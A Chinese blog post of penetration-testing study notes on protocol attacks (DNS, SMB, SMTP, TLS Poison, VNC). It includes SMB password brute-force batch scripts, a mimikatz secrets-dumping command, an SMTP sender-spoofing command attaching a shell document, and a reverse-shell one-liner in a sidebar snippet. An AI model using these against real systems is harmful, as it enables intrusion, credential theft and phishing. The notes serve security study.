Protocol - Exploits学习笔记

最新推荐文章于 2024-11-16 19:33:55 发布
最新推荐文章于 2024-11-16 19:33:55 发布
阅读量573 收藏 1
点赞数
文章标签： 学习 服务器 网络 数据库 运维
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/sinat_35360663/article/details/127615528
版权

Protocol - Exploits

注:本分类里内容并非全是协议的 bug,部分 "基于、使用" 这个协议的应用所存在的漏洞也算在其中,例如 dns 域传送漏洞,其并非 dns 协议本身的漏洞,为服务部署时的配置问题,但应用与 DNS 相关的业务,故此分类

免责声明

本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.

大纲

DNS

关于 DNS

CVE-1999-0532 dns 域传送漏洞

  • 简介

    DNS 服务器分为：主服务器、备份服务器和缓存服务器，在主备服务器之间同步数据库，需要使用 “DNS 域传送”。

    域传送是指后备服务器从主服务器拷贝数据，并用得到的数据更新自身数据库。若 DNS 服务器配置不当，可能导致匿名用户获取某个域的所有记录。造成整个网络的拓扑结构泄露给潜在的攻击者，包括一些安全性较低的内部主机，如测试服务器。

  • 相关文章

  • POC | Payload | exp

    dig @dns.xxx.edu.cn axfr xxx.edu.cn
# @ 指定域名服务器;
# axfr 为域传送指令;
# xxx.edu.cn 表示要查询的域名;

子域接管漏洞

什么是子域接管

子域名接管是注册不存在的域名以获得对另一个域的控制权的过程

  1. 域名(例如 sub.ffffffff0x.com)将 CNAME 记录用于另一个域(例如 sub.ffffffff0x.com CNAME f0x.com)。
  2. 在某个时间点, f0x.com 到期并可供任何人注册。
  3. 由于未从 ffffffff0x.com DNS 区域删除 CNAME 记录，因此注册 f0x.com 的任何人都可以完全控制 sub.ffffffff0x.com，直到删除 DNS 记录。

通过使用子域接管，攻击者可以从合法域中发送网络钓鱼电子邮件，执行跨站点脚本(XSS)或发布不实言论信息等恶意行为。

子域接管不仅限于 CNAME 记录。NS，MX 甚至 A 记录(均不受此限制)也将受到影响。

相关文章/案例

相关资源

相关工具

DNS Rebinding

ipv6

相关文章

相关工具

LDAP

描述

轻量级目录访问协议，是一种在线目录访问协议，主要用于目录中资源的搜索和查询，是 X.500 的一种简便的实现。

LDAP 是一种运行于TCP/IP之上的在线目录访问协议，主要用于目录中资源的搜索和查询。使用最广泛的LDAP服务如微软的ADAM(Active Directory Application Mode)和OpenLDAP.

相关文章

相关工具

LDAP注入

相关文章

MQTT

fofa: port="1883" && protocol="mqtt

描述

MQTT(Message Queuing Telemetry Transport,消息队列遥测传输协议)。可以以极少的代码和有限的带宽，为远程设备提供实时可靠的消息服务，一种低开销、低带宽占用的即时通讯协议。MQTT协议运行于TCP之上，属于应用层协议。

相关文章

MQTT 相关工具

  • mosquitto - MQTT服务端程序
    apt-get install mosquitto
apt-get install mosquitto-clients

mosquitto -v
mosquitto_sub -h 127.0.0.1 -t debug
  • mqtt.fx
  • thomasnordquist/MQTT-Explorer - An all-round MQTT client that provides a structured topic overview
  • emqx/MQTTX - Elegant Cross-platform MQTT 5.0 Desktop Client
  • node-red/node-red - Low-code programming for event-driven applications

暴力破解

RTSP

描述

实时流媒体协议(RTSP)是一种网络控制协议，设计用于娱乐和通信系统，以控制流媒体服务器。该协议用于建立和控制终端之间的媒体会话。媒体服务器的客户端发出 VHS 风格的命令，如播放、录制和暂停，以方便实时控制媒体流从服务器到客户端(视频点播)或从客户端到服务器(语音录制)。

流媒体数据的传输本身不是 RTSP 的任务。大多数 RTSP 服务器使用实时传输协议 (RTP) 与实时控制协议 (RTCP) 相结合来传输媒体流。

暴力破解

SMB

相关文章

信息收集

  • MSF 模块

    use auxiliary/scanner/smb/smb_version
use exploit/multi/samba/usermap_script

  • nmblookup

    nmblookup -A <victim_ip>

  • ngrep

    "ngrep -i -d tap0 's.?a.?m.?b.?a.*[[:digit:]]'
smbclient -L \\\\<victim_ip>"

  • nmap脚本

    nmap --script smb-vuln* -p139,445 -T4 -Pn <victim_ip>

枚举用户

  • nmap脚本

    nmap --script smb-enum-users.nse -p 445 <目标IP>

  • rpcclient

    rpcclient -U '' <目标IP>
    querydominfo
    enumdomusers
    queryuser <用户名>

  • enum4linux

    enum4linux <目标IP>

获取共享

  • smbmap

    smbmap -H  <victim_ip> -R <sharename>

  • smbclient

    echo exit | smbclient -L \\\\$ip
"smbclient \\\\<victim_ip>\\<share>"
smbclient -L //<victim_ip> -N

  • nmap

    nmap --script smb-enum-shares -p139,445 -T4 -Pn <victim_ip>

空会话

  • smbmap

    smbmap -H <victim_ip>

  • rpcclient

    rpcclient -U "" -N $ip

  • smbclient

    smbclient //<victim_ip>/IPC$ -N

  • enum

    enum -s <victim_ip>
enum -U <victim_ip>
enum -P <victim_ip>

  • enum4linux

    enum4linux -a <victim_ip>

匿名共享

  • smbclient

    smbclient //$ip/share -U username
smbclient \\\\<victim_ip>\\<share>
smbclient //<victim_ip>/<share>
smbclient //<victim_ip>/<share\ name>
smbclient //<victim_ip>/<""share name"">

  • rpcclient

    rpcclient -U " " <victim_ip>
rpcclient -U " " -N <victim_ip>

暴力破解

可以暴力破解来获得目标主机的 smb 访问。

hydra -L user.txt -P pass.txt 192.168.1.1 smb

  • IPC 爆破

    ip.txt 放入要爆破的 IP
pass.txt 放入爆破的密码
默认爆破用户：Administrator
爆破成功的结果，会在 bat 运行的当前目录生成 out.txt
爆破进度的查询：type log.txt，完成后当前目录生成 end.txt

    非空连接爆破.bat

    @echo off
cls
echo Useage: %0 ip.txt pass.txt
for /f %%t in (%1) do (
FOR /F "eol=; tokens=1,2,3* delims=, " %%i in (%2) do (
echo net use \\%%t\ipc$ "%%i" /user:"localhost\Administrator" >> log.txt
net use \\%%t\ipc$ "%%i" /user:"localhost\Administrator"  >NUL 2>NUL
IF NOT errorlevel 1 (
echo %%i  t:%%t>> out.txt
net use \\%%t\ipc$ /del
)
net use * /del /y >NUL 2>NUL
)
)
echo end >> end.txt

    空连接爆破.bat

    @echo off
cls
echo Useage: %0 ip.txt
for /f %%t in (%1) do (
echo net use \\%%t\ipc$ "" /user:"localhost\Administrator" >> log.txt
net use \\%%t\ipc$ "" /user:"localhost\Administrator"  >NUL 2>NUL
IF NOT errorlevel 1 (
echo success:%%t>> out.txt
net use \\%%t\ipc$ /del
)
net use * /del /y >NUL 2>NUL
)
echo end >> end.txt

利用 NTLM 值破解 SMB

主要依靠钓鱼,不是很适合在实战中使用,内容见 https://www.hackingarticles.in/4-ways-capture-ntlm-hashes-network/

PPTP

相关文章

获得PPTP 口令

Windows系统拨号和宽带连接的配置信息存储在固定位置，路径如下： %APPDATA%\Microsoft\Network\Connections\Pbk\rasphone.pbk 查看该文件即可获得 PPTP 连接的配置信息，包括服务器 IP，不包含连接用户名和口令

mimikatz.exe privilege::debug token::elevate lsadump::secrets exit

windows 命令行下连接 PPTP VPN

rasdial "VPN Connection" username pass

# 关闭连接
rasphone -h "VPN Connection"

kali 连接 PPTP VPN

pptpsetup --create vpn --server xx.xx.xx.xx --username username --password pass --encrypt --start

# 将默认路由表修改为远程
route del default
route add default gw xx.xx.xx.xx

暴力破解 PPTP 口令

SMTP

描述

SMTP 为邮件协讫,默认端口 25.经常用来邮箱伪造,钓鱼攻击.

相关文章

相关工具

邮件检测

枚举用户

MAIL FROM   : 指定发件人地址
RCPT TO : 指定单个的邮件接收人;可有多个 RCPT TO;常在 MAIL FROM命令之后
VRFY    : 用于验证指定的用户/邮箱是否存在;由于安全原因,服务器常禁止此命令
EXPN    : 验证给定的邮箱列表是否存在,也常被禁用
SMTP 返回码
500 	格式错误,命令不可识别(此错误也包括命令行过长)
501 	参数格式错误
502 	命令不可实现
503 	错误的命令序列
504 	命令参数不可实现
211 	系统状态或系统帮助响应
214 	帮助信息
220 	服务就绪
221 	服务关闭传输信道
421 	服务未就绪,关闭传输信道(当必须关闭时,此应答可以作为对任何命令的响应)
250 	要求的邮件操作完成
251 	用户非本地,将转发向
450 	要求的邮件操作未完成,邮箱不可用(例如,邮箱忙)
550 	要求的邮件操作未完成,邮箱不可用(例如,邮箱未找到,或不可访问)
451 	放弃要求的操作;处理过程中出错
551 	用户非本地,请尝试
452 	系统存储不足,要求的操作未执行
552 	过量的存储分配,要求的操作未执行
553 	邮箱名不可用,要求的操作未执行(例如邮箱格式错误)
354 	开始邮件输入,以.结束
554 	操作失败
535 	用户验证失败
235 	用户验证成功
334 	等待用户输入验证信息

可以通过 Telnet 连接,在未禁用上述 SMTP 命令的服务器上,使用上述命令手动枚举用户名.

$ telnet xxx.xxx.xxx.xxx 25
Trying xxx.xxx.xxx.xxx...
Connected to xxx.xxx.xxx.xxx.
Escape character is '^]'.
220 mxt.xxx.xxx.cn ESMTP Postfix
VRFY root
252 2.0.0 root
VRFY bin
252 2.0.0 bin
VRFY admin
550 5.1.1 <admin>: Recipient address rejected: User unknown in local recipient table

$ telnet xxx.xxx.xxx.xxx 25
Trying xxx.xxx.xxx.xxx...
Connected to xxx.xxx.xxx.xxx.
Escape character is '^]'.
220 mxt.xxx.xxx.cn ESMTP Postfix
MAIL FROM:root
250 2.1.0 Ok
RCPT TO:root
250 2.1.5 Ok
RCPT TO:bin
250 2.1.5 Ok
RCPT TO:admin
550 5.1.1 <admin>: Recipient address rejected: User unknown in local recipient table

可以看到两种方式均返回 root、bin 用户是存在的,admin 用户不存在.

  • smtp-user-enum - kali 自带

    smtp-user-enum -M VRFY -u root -t xxx.xxx.xxx.xxx
smtp-user-enum -M RCPT -u bin -t xxx.xxx.xxx.xxx
smtp-user-enum -M EXPN -u bin -t xxx.xxx.xxx.xxx

  • MSF 模块

    use auxiliary/scanner/smtp/smtp_enum
set rhosts xxx.xxx.xxx.xxx
run

  • smtp-enum-users - nmap 脚本

    nmap -p 25 --script smtp-enum-users.nse xxx.xxx.xxx.xxx

邮件伪造

  • 相关文章

  • SPF邮件伪造

    SPF 是 Sender PolicyFramework 的缩写，一种以 IP 地址认证电子邮件发件人身份的技术。接收邮件方会首先检查域名的 SPF 记录，来确定发件人的 IP 地址是否被包含在 SPF 记录里面，如果在，就认为是一封正确的邮件，否则会认为是一封伪造的邮件进行退回。SPF 可以防止别人伪造你来发邮件，是为了防范垃圾邮件而提出来的一种 DNS 记录，它是一种 TXT 类型的记录。

    由于 SMTP 邮件服务商互相发送邮件是不需要认证的，邮件伪造也是利用这个特性来实现伪造任意发件人。

  • 简单方法

    telnet xxx.xxx.xxx.xxx 25
HELO xxxx.com   # 向邮件服务器提供连接的域名,也就是邮件将从哪台服务器发来.
MAIL FROM:admin@xxxx.com  # 伪造管理员身份来发邮件
RCPT TO:admin@xxxxx.com # 验证邮件地址是否存在.如果查询的是一个真实的 Email 地址,邮件服务器就会返回250状态码.验证邮箱存在的话,还可以给这个接受者邮箱发送邮件.
DATA    # 使用DATA命令来伪造邮箱内容,客户端告诉服务器自己准备发送邮件正文
354 go ahead, end data with CRLF.CRLF   # 服务器返回354,表示自己已经作好接受邮件的准备
"这是一个邮件伪造测试"  # 用英文状态的双引号来修饰正文,正文结束后,发送结束符.表明正文的结束.
.
QUIT

  • swaks

    Swaks 的全称是 Swiss Army Knife SMTP(SMTP 界的瑞士军刀),用于测试 SMTP 协议的各种操作.

    kali 自带

    swaks

    配合 https://support.smtp2go.com/hc/en-gb

    swaks --to 目标@qq.com --from info@smtp2go.com\
--header-X-Mailer SMTP  --ehlo root@163.com --body 'test'\
--server mail.smtp2go.com -p 2525 -au 账号 -ap 密码 \
--attach /shell.docx --header "Subject:test" \
--h-From: 'test<root@163.com>'

SNMP

相关文章

相关工具

snmp 弱口令

SSH

相关文章

相关工具

  • arthepsy/ssh-audit - SSH服务器审计(banner、密钥交换、加密、mac、压缩、兼容性、安全性等)

版本扫描

use auxiliary/fuzzers/ssh/ssh_version_2
set RHOSTS [ip]
run

libSSH

OpenSSH

OpenSSH(OpenBSD Secure Shell)是 OpenBSD 计划组的一套用于安全访问远程计算机的连接工具。该工具是 SSH 协议的开源实现，支持对所有的传输进行加密，可有效阻止窃听、连接劫持以及其他网络级的攻击。

SunSSH

  • CVE-2020-14871 Oracle System Solaris PAM 组件缓冲区溢出漏洞

    • 影响范围

      Oracle Solaris 11
      Oracle Solaris10
      Oracle Solaris 9(已不支持,2014年已终止)

    • 扫描

    • MSF 模块

      solaris/ssh/pam_username_bof

SSL & TLS

关于 TLS

相关文章

相关工具

  • MassBleed - SSL 漏洞扫描器
  • sslscan - 测试启用SSL/TLS的服务，以发现支持的密码套件。
  • testssl - 在任何端口的任何地方测试 TLS/SSL 加密
  • coroner/cryptolyzer - 适用于 Python 2.7/3.4 以上的服务器加密(TLS/SSL)设置分析库

ja3(s)

CVE-2014-0160 Heartbleed

CVE-2014-3566 SSL 3.0 POODLE 攻击信息泄露漏洞

  • 简介

    OpenSSL 1.0.1i 及之前版本中使用的 SSL protocol 3.0 版本中存在安全漏洞，该漏洞源于程序使用非确定性的 CBC 填充。攻击者可借助 padding-oracle 攻击利用该漏洞实施中间人攻击，获取明文数据。

  • 相关文章

  • POC | Payload | exp

  • MSF 模块

    use auxiliary/scanner/http/ssl_version

CVE-2021-3449

  • 简介

    OpenSSL TLSv1.2 重新协商选项(默认开启)中存在一处空指针解引用，并导致拒绝服务。

  • 影响范围

    • 所有OpenSSL 1.1.1版本

  • POC | Payload | exp

CVE-2022-0778 OpenSSL 拒绝服务漏洞

TLS Poison

相关资源

相关文章

描述

当客户端和服务器端初次建立 TLS 握手时(例如浏览器访问 HTTPS 网站)，需要双方建立一个完整的 TLS 连接，该过程为了保证数据的传输具有完整性和机密性，需要做很多事情，如密钥协商出会话密钥，数字签名身份验证，消息验证码 MAC 等。这个过程是非常消耗资源的，而且当下一次客户端访问同一个 HTTPS 网站时，这个过程需要再重复一次，这无疑会造成大量的资源消耗。

为了提高性能，TLS/SSL 提供了会话恢复的方式，允许客户端和服务端在某次关闭连接后，下一次客户端访问时恢复上一次的会话连接。会话恢复有两种，一种是基于 session ID 恢复，一种是使用 Session Ticket 的 TLS 扩展。

基于 session ID 的会话恢复

每一个会话都由一个 Session ID 标识符标识，当建立一个 TLS 连接时，服务器会生成一个 session ID 给客户端，服务端保留会话记录，重新连接的客户端可以在 clientHello 消息期间提供此会话 ID，并重新使用此前建立的会话密钥，而不需要再次经历秘钥协商等过程。

TLS session id 在 RFC-5077 中有着详细描述，基本所有数据都可以用作会话标志符，包括换行符。

Session ticket 和 session id 作用类似，在客户端和服务端建立了一次完整的握手后，服务端会将本次的会话数据加密，但是 session ticket 将会话记录保存在客户端，而且与 session id 32 字节的大小不同，session ticket 可提供 65k 的空间，这就能为我们的 payload 提供足够的空间。

攻击思路

session id 是服务器提供给客户端的，如果我们构建一个恶意的 tls 服务器，然后将我们的恶意 session id 发送给客户端，然后通过 dns rebinding，将服务器域名的地址指向内网 ip 应用，例如 memcache，客户端在恢复会话时就会带上恶意的 session id 去请求内网的 memcache，从而攻击了内网应用。

大致流程如下：

  1. 利用受害者服务器向攻击者准备的 TLS Server 发起一个 HTTPS 请求
  2. 当受害者打开这个页面后，受害者客户端会查询相应的 DNS 记录，最终会在攻击者准备的 DNS 服务器查询到攻击者提供的解析记录
  3. 攻击者的 DNS 服务器回应一个 TTL 为 0 的结果，指向攻击者的 TLS Server 服务器。
  4. 客户端发送 Client Hello 消息
  5. 服务端返回 Server Hello 消息，并在响应包中设置 session_id 为 payload
  6. 进行后续的TLS握手
  7. 握手完成后进行 http 通信时，攻击者 TLS Server 返回 301 跳转
  8. 受害者客户端接收跳转，这次跳转时由于前面那一次 DNS 解析的结果为 TTL 0，则会再次发起一次解析请求
    此时攻击者让 DNS 服务器返回解析结果为 SSRF 攻击的目标(例如本地的 memcache 数据库),且 TTL 为 0
  9. 因为请求和跳转时的域名都没有变更，本次跳转会带着之前服务端返回的精心构造过的 SessionID 进行(TLS 会话重用)，发送到目标的那个端口上。
  10. payload 被发送至 SSRF 攻击的目标,达到目的，成功 SSRF，但是因为会话重用失败，受害者客户端会得到一个 TLS Error 的错误。至此完成所有攻击步骤。

通过对 curl 解析 AAAA 和 A 记录的顺序进行利用(未复现成功)

出自文章 基于 A 和 AAAA 记录的一种新 DNS Rebinding 姿势–从西湖论剑2020 Web HelloDiscuzQ 题对 Blackhat 上的议题做升华

在 CURL 中，对于一个域名，如果同时具有 A 记录和 AAAA 记录，那么 CURL 会去优先请求 AAAA 或者 A 记录所指向的地址，如果这些地址无法连接，则会尝试连接同时得到的 A 记录或者 AAAA 记录。

在某些情况下，会出现：

  • AAAA 记录地址不通，会连接到 A 记录地址上。
  • A记录地址不通，会连接到 AAAA 记录地址上。

第一个地址不通，则会尝试第二个地址。

那么我们可以这样做：

  1. 第一次让 CURL 去访问恶意的 HTTPS 服务器，拿到一个恶意的 SessionID，然后使恶意的 HTTPS 服务器无法接收新的连接
  2. 这时恶意的 HTTPS 给出第一次返回的结果，使其进行同域名跳转
  3. 目标跳转时会尝试进行新连接，目标发现恶意的HTTPS 服务器无法连接，则会尝试连接这个域名下的其他记录所指向的地址，并带上 SessionID

复现环境

双 A 记录

出自文章 一篇文章带你读懂 TLS Poison 攻击#The Optimization Method OF DNS Rebinding

默认配置下，可以通过 0.0.0.0:11211 这个地址与 memcached 通信,对于返回的双 A 记录，一个配置为 TLS VPS IP ，另一个为 0.0.0.0 ，curl 每次都会优先使用 TLS VPS IP ，如果不能通信才会接着使用 0.0.0.0:11211

根据已知信息，我们可以让 curl 第一次建立链接，拿到我们分配的 payload 后，断开连接，让其第二次连接不通而去选择另外一个 IP

复现环境

TLS 1.2 Session Ticket

TLS 1.2 Session ID

UPNP

相关工具

CVE-2020-12695

VNC

相关文章

未授权访问漏洞

  • 概述

    VNC 是虚拟网络控制台 Virtual Network Console 的英文缩写。它是一款优秀的远程控制工具软件由美国电话电报公司 AT&T 的欧洲研究实验室开发。VNC 是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。VNC 默认端口号为 5900、5901。VNC 未授权访问漏洞如被利用可能造成恶意用户直接控制 target 主机。

  • vncviewer

    # kali 自带
vncviewer [ip]

  • MSF 模块

    use auxiliary/scanner/vnc/vnc_none_auth
set rhosts [ip]
set threads 50
run

暴力破解

  • MSF 模块
    use auxiliary/scanner/vnc/vnc_login
set RHOSTS [ip]
set RPORT [port]
set pass_file /root/Desktop/pass.txt
run

密码破解

Other

Ripple20

描述

安全研究人员在由 Treck 开发的 TCP/IP 协议栈中发现了多个漏洞，这一系列漏洞统称为 Ripple20。这些漏洞广泛存在于嵌入式和物联网设备中，影响了多个行业领域(包括医疗、运输、能源、电信、工业控制、零售和商业等)，涉及了众多供应商(包括 HP、Schneider Electric、Intel、Rockwell Automation、Caterpillar、Baxter 等)。

这些漏洞源于 Ripple20 的多个协议(包括 IPv4、ICMPv4、IPv6、IPv6OverIPv4、TCP、UDP、ARP、DHCP、DNS 或以太网链路层)在处理网络报文发送时存在缺陷，其中包括四个严重漏洞，它们的 CVE 编号分别为 CVE-2020-11896、CVE-2020-11898、CVE-2020-11910、CVE-2020-11911。CVE-2020-11896(CVSS 评分 10)可导致远程执行代码，CVE-2020-11897(CVSS 评分 10)可导致越界写入，CVE-2020-11901(CVSS 评分 9)可导致远程执行代码，CVE-2020-11898(CVSS 评分 9.1)可导致泄露敏感信息。其它 15 个 Ripple20 漏洞的严重程度各异，CVSS 评分分别从 3.1 到 8.2。

相关文章

相关资源

POC | Payload | exp

AMNESIA33

描述

安全研究人员在多个被广泛使用的开源 TCP/IP 协议栈发现了多个漏洞，这一系列漏洞统称为 AMNESIA33。这些漏洞广泛存在于嵌入式和物联网设备中，影响了多个行业领域(包括医疗、运输、能源、电信、工业控制、零售和商业等)，目前已知范围内涉及了超 150 家供应商以及数以百万计的设备。与 URGEN11 和 Ripple20 不同的是，AMNESIA33 影响的是多个开源 TCP/IP 协议栈，因此这些漏洞可以悄无声息地影响到无数个代码库、开发团队与各个公司的产品。目前已知的漏洞涉及到了智能家居、工厂 PLC、SCADA 设备与工控交换机，电力监控等设备。

这些漏洞存在于 uIP、FNET、picoTCP 和 Nut/Net 等开源协议栈上，影响 TCP/IP 协议栈的多个组件，包括 DNS、IPv6、IPv4、TCP、ICMP、LLMNR 和 mDNS 等。其中包括多个严重漏洞，它们的 CVE 编号分别为 CVE-2020-17437、CVE-2020-17443、CVE-2020-24338、CVE-2020-24336、CVE-2020-25111。

CVE-2020-17437(CVSS 评分 8.2)、CVE-2020-17443(CVSS 评分 8.2)可导致设备拒绝服务。CVE-2020-24338、CVE-2020-24336、CVE-2020-25111(这三个 CVSS 评分均为 9.8)都可导致远程代码执行 (RCE)。其它 28 个漏洞的严重程度各异，CVSS 评分分别从 4 到 8.2。

由于 IoT、OT、IT 设备供应链的特性，漏洞影响的设备众多，影响范围广且持续时间长，漏洞修复的实施较困难。同时，由于 uIP、picoTCP 开源协议栈已经不再维护，所以部分漏洞没有补丁，很多产品只能寻找替代技术方案或者是增加防范措施。

相关文章

NAT Slipstreaming

https://github.com/samyk/slipstream/ - NAT Slipstreaming allows an attacker to remotely access any TCP/UDP services bound to a victim machine, bypassing the victim’s NAT/firewall, just by the victim visiting a website

相关文章

点击关注，共同学习！安全狗的自我修养

github haidragon

https://github.com/haidragon

C-haidragon
关注
Metasploit(学习笔记)
zhaji001
08-07 5223
之前阅读了《Ｍetasploit渗透测试指南》准备更深入了解。 ＭＳＦ终端命令： (kali 中Ｔab键自动补全） show exploits   列出框架中的渗透攻击模块 show  payloads  列出框架中攻击载荷 show auxiliary   列出框架中辅助攻击模块 search  name  查找框架中攻击模块 info 显示模块的信息 use name  选择要使...
Microsoft Azure Administrator AZ-104 AZ-103笔记/考点总结
布偶酱的博客
10-12 2910
Azure存储 账户类型：general purposeV2，general purposeV1，Blob存储，文件存储 general purposeV2：最常用，Blob、文件、队列和表的基本存储账户类型 general purposeV1：Blob、文件、队列和表的旧账户类型（建议使用V2） Block blob存储：使用高级性能特征的仅限blob的存储账户，建议对具有高事务率、使用较小的对象，也无需进行一致地低存储延迟方案。 文件存储：使用高级性能特征的仅限文件的存储账户，建议为企业或高性能
C/S - Exploits 学习笔记
人饭子的博客
10-31 704
C/S - Exploits 免责声明 本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关. 大纲 运维 Jmeter 编程语言 Java Python Ruby 远程服务 Aria2 文件服务 FTP NFS Rsync Samba 数据库 CouchDB InfluxDB memcached MSSQL...
HTB-Runner靶机笔记
LINGX5的博客
09-02 994
Runner是HTB上一个中等难度的Linux靶机，它包含以下teamcity漏洞(CVE-2023-42793)该漏洞允许用户绕过身份验证并提取API令牌。以及docker容器逃逸CVE-2024-21626，进行提权操作Runner靶机地址：https://app.hackthebox.com/machines/Runner我们用nmap对主机进行端口发现，发现22,80,8000端口开放。在对80渗透过程中，发现主页的目录爆破信息很少，想到子域名爆破，爆破出teamcity。
【网络教程】Iptables官方教程-学习笔记5--IPTABLES MATCH
jackhh1的博客
11-20 2244
这篇博客介绍iptables和netfilter中所有可用的匹配，章节比较厂，没必要去学习每个匹配的具体细节，大致了解下即可，后续要用到再深入掌握它。
Firmadyne学习笔记
Starr
04-16 2064
文章目录1. 简介及安装2. Demo3. 调试4. 参考资料 项目地址：https://github.com/firmadyne/firmadyne 1. 简介及安装 依赖qemu和binwalk，qemu我放在下面的脚本里，binwalk可参考另一篇笔记：https://blog.csdn.net/Ga4ra/article/details/123958482 先把源码down下来，解压备用（/database/schema）。 安装Firmadyne依赖: sudo apt-get install b
Towards End-to-End License Plate Detection and Recognition: A Large Dataset and Baseline学习笔记
Othnial的博客
09-13 1473
Towards End-to-End License Plate Detection and Recognition: A Large Dataset and Baseline 论文链接 Most current license plate (LP) detection and recognition approaches are evaluated on a small and usually unrepresentative dataset since there are no publicly av
学习笔记-CobaltStrike
人饭子的博客
11-02 699
CobaltStrike 免责声明 本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关. 简介 Cobalt Strike 是一款常用于后渗透的神器，这个工具以团队作为主体，共享信息，拥有多种协议上线方式，集成了端口转发，端口扫描，socket 代理，提权，钓鱼等。除去自身功能外，Cobalt Strike 还利用了 Metasp...
OSCP学习笔记总结（本资料禁止转载）
Shadow的博客
10-19 1万+
OSCP学习笔记 第零章实战学习 反弹shell bash -i >&/dev/tcp/192.168.1.1/4444 0>&1 切换交互式shell python -c 'import pty;pty.spawn("/bin/sh")' 查看系统型号：lab_release -a 查看系统版本：uname -a 查看目标主机网页内容：dirb http://192.168.1.1:80 查看网页漏洞：nikto -h 192.168.1.1 --useprox.
爬虫学习笔记（十）数据存储——xml、json、csv 2020.5.9
闵行小鱼塘
05-09 1431
本节学习数据存储的xml、json、csv
【安全牛学习笔记】存储型XSS和BEEF浏览器攻击框架
edu_aqniu的博客
09-30 4939
存储型XSS                                                               长期存储于服务器端                                            每次用于访问都会被执行javascript脚本                    Name:客户端表单长度限制           
信息安全工程师第二版考试总结+笔记
热门推荐
IT技术
11-29 2万+
信息安全工程师第二版考试总结+笔记
蓝队技术学习
weixin_65861348的博客
11-12 1005
该手册详细规定了在不同安全事件发生时应执行的标准操作程序，按安全事件类别进行了分类阐述。
EEG+EMG学习系列 (1) :一个基于小波的自动睡眠评分模型
走在深度学习前沿的小宋
11-14 922
由于手动睡眠阶段评分方法的限制，创建自动睡眠阶段分类的需求已经上升。在这项研究中，使用`双通道单极脑电图 （EEG）`、`下巴肌电图 （EMG）` 和`双通道眼电图 （EOG）` 信号开发了一种新的机器学习模型。使用`最佳正交滤波器组`，通过分解 30 s 信号纪元来获得子带。然后根据这些子带的系数计算 `Tsallis 熵`。然后，这些特征被馈送到一个`集成袋装树 （EBT） 分类器`，用于自动睡眠分类。
Vue3学习：查询城市天气预报案例（vite，选项式）
wangyining070205的博客
11-13 819
前几日的学习中，实现了查询城市天气预报，是用组合式实现的，今天是用选项式来实现，案例运行效果如下： 如果不输入城市的名字，直接点击“查询”，将会显示IP所在地城市的天气预报。 代码如下： <template> <div id="container"> <div id="search"> <el-input v-model="cityName" placeholder="请输入城市名" class="inputText
《线性代数》学习笔记
tan_liang_liang的博客
11-11 507
直观上就是，如果第三个向量的直线掉在前面两条向量张成的平面，那么就线性相关，否则是线性无关的。就是用前面确定线性无关的两个列向量a和b，组成议程ax+by=c是否有解，如果有解。如何判断有解，用消元法。求解这样的方程，先把它转换成行阶梯式，而且每一个主元上面对应的系数是0。什么是基础解系，就是其它解可以表示成两个向量的线性组合，这两个向量就是基础解系。上个星期继续学线性代数，一个矩阵，如何判断它是的列向量有几个是线性无关呢？第二种方法是判断这个矩阵的行列式，如果行列式计算不是0,那么它的列向量就是无关的。
从零开始学习 sg200x 多核开发之 uboot 网络功能使能
最新发布
燕十三的物联网之旅
11-16 350
sophpi u-boot 默认未开启网络功能，需要手动开启，为了在 u-boot 下可以通过 tftp 下载固件，先测试 u-boot 下网络功能。
从0开始学习机器学习--Day25--SVM作业
Chef_Chen的博客
11-14 355
注意：虽然C为100时决策边界完美的把正负样本都分开来，但是此时准确度为100%，有可能左边这个点属于异常值，应该要被排除的，在实际运用中出现这种情况要警惕。总结：运用SVM可以帮助我们减少代码量和时间复杂度，但注意根据特征和数据集的数量选择核函数。sigma=50时决策边界。题目2：线性不可分SVM。题目1：线性可分SVM。题目3：寻找最优参数。题目4：垃圾邮件过滤。
as-exploits
01-28
as-exploits是指针对计算机系统中存在的漏洞或弱点进行攻击和利用的行为。这种行为可能会导致系统崩溃、信息泄漏、数据丢失甚至系统被恶意控制。通常情况下，攻击者会利用find漏洞或弱点，编写特定的代码或程序来...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

C-haidragon

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值